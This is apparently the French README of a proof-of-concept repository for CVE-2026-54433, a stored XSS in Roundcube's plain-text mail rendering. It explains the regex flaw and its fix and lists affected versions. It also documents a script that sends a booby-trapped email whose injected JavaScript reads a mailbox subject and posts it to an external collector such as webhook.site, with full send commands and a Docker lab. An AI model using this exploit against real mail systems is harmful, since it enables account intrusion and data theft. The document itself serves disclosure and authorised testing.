
PoC Python configurable pour CVE-2026-54433, un XSS stocké dans le moteur de rendu des e-mails en texte brut de Roundcube. Génère un .eml piégé, l'envoie via SMTP et valide l'impact dans un laboratoire Docker.

Ce dépôt contient une preuve de concept Python configurable pour CVE-2026-54433, une vulnérabilité de script intersite (XSS) stockée dans le moteur de rendu des e-mails en texte brut de Roundcube. Un expéditeur non authentifié peut délivrer un message text/plain spécialement conçu. Lorsqu'un utilisateur Roundcube authentifié ouvre ou prévisualise ce message, du JavaScript contrôlé par l'attaquant s'exécute dans l'origine Roundcube.
La preuve de concept démontre un impact concret sur une session authentifiée sans collecter de cookies ni de corps de messages : elle lit l'objet d'un message plus ancien et envoie cette valeur, l'origine Roundcube et le nom de la tâche à un collecteur autorisé sous forme de champs POST encodés dans l'URL.
Avertissement
Ceci est un code d'exploitation actif. Utilisez-le uniquement dans un laboratoire vous appartenant ou contre un système et une boîte aux lettres que vous êtes explicitement autorisé à tester. Le mode d'envoi transmet un e-mail spécialement conçu et peut divulguer un objet préexistant au collecteur. Utilisez
--generate-onlypour une inspection hors ligne.
Roundcube convertit les adresses trouvées dans les messages en texte brut en liens mailto: cliquables. Dans les versions affectées, le suffixe de requête optionnel était mis en correspondance avec \S+ :
. '(\?\S+)?'
Comme \S inclut < et >, une chaîne commençant comme une adresse e-mail pouvait amener le remplacement de lien automatique à consommer une balise HTML ouvrante tout en laissant le reste être interprété comme du balisage. Cette forme minimale illustre la primitive :
Le correctif en amont restreint le suffixe de requête afin qu'il ne puisse pas contenir de chevrons ni d'espaces :
. '(\?[^<>\s]+)?'
L'éditeur décrit le problème comme étant « zero-click » (zéro clic) car aucun clic sur un lien n'est requis. Ouvrir ou prévisualiser l'e-mail en étant authentifié reste l'action du client de messagerie qui déclenche le rendu de la charge utile.
| Ligne de version | Statut |
|---|---|
| Versions de Roundcube antérieures à 1.6.17 | Affectées |
| Roundcube 1.6.17 et versions 1.6.x ultérieures | Corrigées |
| Roundcube 1.7.0 et 1.7.1 | Affectées |
| Roundcube 1.7.2 et versions ultérieures | Corrigées |
Les commits de correctif publics sont :
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Mettez à jour vers Roundcube 1.6.17 / 1.7.2 ou une version prise en charge plus récente.
text/plain.src relatif échoué pour déclencher onerror. Un rappel vers le collecteur nécessite toujours une connectivité réseau du navigateur.HttpOnly. Cette preuve de concept ne tente pas de le lire. Sa requête same-origin utilise automatiquement la session authentifiée, et l'objet du message séparé constitue la preuve de l'impact.Le résultat démontré est l'exécution de JavaScript authentifié et l'accès en lecture à l'objet d'un e-mail antérieur. La prise de contrôle de compte, le vol arbitraire de corps de messages et l'exécution de code côté serveur ne sont pas revendiqués par ce dépôt.
cve-2026-54433-poc.py est autonome et n'utilise que la bibliothèque standard de Python. Il :
text/plain spécialement conçu selon RFC 5322 ;CVE-2026-54433 ;subject, origin et task vers /capture/<random-marker> ;La charge utile insère le commentaire DOM :
<!-- This is a BugBounty test; only one subject is copied as evidence -->
Elle masque également le fragment d'adresse auto-lié et l'indicateur d'image cassée tout en affichant le corps bénin fourni par l'appelant.
Générez l'e-mail sans établir de connexion réseau :
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
Ceci écrit :
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspectez le message généré avant d'utiliser le mode d'envoi.
La valeur --collector peut être un UUID Webhook.site, une URL de capture ou une URL #!/view/. Le script en déduit les points de terminaison de capture et d'interrogation.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
Si SMTP_PASSWORD est absent, le script demande le mot de passe sans l'afficher ni le stocker. Une variable portant un autre nom peut être sélectionnée avec --smtp-password-env NAME. Évitez --smtp-password sur les systèmes multi-utilisateurs, car les arguments de ligne de commande peuvent être visibles dans les listes de processus ou l'historique du shell.
Le script demande un YES explicite avant l'envoi. Dans le cadre d'une automatisation de laboratoire non interactive et déjà autorisée, passez --yes. Par défaut, il attend un rappel jusqu'à 24 heures ; utilisez --timeout SECONDS pour modifier cela.
Pour un collecteur autre que Webhook.site, transmettez la base de capture et le point de terminaison de statut JSON facultatif :
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
Le collector.py inclus implémente les points de terminaison compatibles /capture/<marker> et /status. Il se lie au loopback par défaut. Le déploiement HTTPS réel et le contrôle d'accès sont intentionnellement laissés au testeur autorisé.
Le laboratoire n'expose aucun port hôte et ne contient que des messages synthétiques. Il utilise la même preuve de concept Python pour générer le déclencheur, délivre les deux messages dans une boîte aux lettres Dovecot jetable, se connecte via un navigateur headless jetable et enregistre si le gestionnaire injecté a lu l'objet précédent.
Prérequis : Docker, Python 3, OpenSSL et jq.
Test vulnérable :
./lab/run.sh
Contrôle corrigé :
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
Pour une vidéo ou une démonstration en direct dans le navigateur, exécutez :
./lab/demo.sh
Il publie Roundcube et le collecteur visuel uniquement sur loopback. Ouvrez les deux URL imprimées par le script, montrez le collecteur initialement vide, connectez-vous avec les identifiants synthétiques imprimés, cliquez sur l'e-mail déclencheur, puis revenez au collecteur. L'objet synthétique capturé apparaît dans un tableau à actualisation automatique. Ctrl-C supprime les conteneurs et le réseau jetables.
Pour enregistrer l'interaction navigateur et un rappel Webhook.site réel, utilisez l'enregistreur reproductible. Il nécessite Chrome, Xvfb, ffmpeg, Docker et un jeton Webhook.site autorisé fourni via l'environnement :
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
Le MP4 résultant montre la ligne de déclenchement Roundcube visible, un clic de souris annoté et Webhook.site affichant l'objet synthétique reçu. Le jeton n'est jamais stocké dans l'arborescence source.
Enregistrement produit : assets/CVE-2026-54433-webhook-demo.mp4
L'enregistrement comprend un panneau de terminal visible montrant l'invocation Python en mode generate-only, sa sortie de génération de charge utile, le clic dans Roundcube et la requête Webhook.site résultante.
La démo visuelle accepte également COLLECTOR_URL et COLLECTOR_VIEW_URL ; pointez les deux vers un jeton Webhook.site autorisé pour montrer le vrai collecteur recevant l'objet synthétique. Ne réutilisez pas un jeton contenant des requêtes sans rapport.
La comparaison de bout en bout a été exécutée le 14/08/2026 sur Linux x86-64 avec Docker :
Corps de rappel positif (valeur synthétique, origine assainie) :
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
La comparaison structurée et assainie se trouve dans docs/e2e-results.json.
La vérification hors ligne compile les sources Python, génère un nouveau .eml et vérifie son type MIME, la primitive de charge utile, le corps visible, le commentaire et les métadonnées :
./verify.sh
Définissez RUN_DOCKER=1 pour ajouter les deux contrôles Docker de bout en bout :
RUN_DOCKER=1 ./verify.sh
Le 14/08/2026, des recherches ciblées pour CVE-2026-54433 sur GitHub, Exploit-Database et Packet Storm n'ont pas permis de localiser un exploit d'envoi d'e-mails configurable et validé avec une comparaison vulnérable/corrigé de bout en bout. Les entrées des éditeurs et des bases de données de vulnérabilités, les discussions sur les modèles de scanners et les articles descriptifs existaient déjà. Il s'agit d'un instantané de recherche daté, et non d'une affirmation qu'aucune autre preuve de concept ne peut exister.
Découverte de la vulnérabilité : Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), comme crédité par Roundcube.
Recherche, validation de l'impact et implémentation de l'exploit : A. Ramos <[email protected]> (Twitter : @aramosf).
Preuve de concept de XSS stockée dans les e-mails en texte brut de Roundcube (CVE-2026-54433) avec preuve bornée de l'objet de boîte aux lettres en session authentifiée et un laboratoire Docker vulnérable/corrigé.
| Contrôle | Digest d'image | Gestionnaire injecté | Objet antérieur envoyé | Résultat |
|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) présent | Oui, POST encodé dans l'URL | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | Absent ; balisage échappé | Aucun rappel | NOT_CONFIRMED |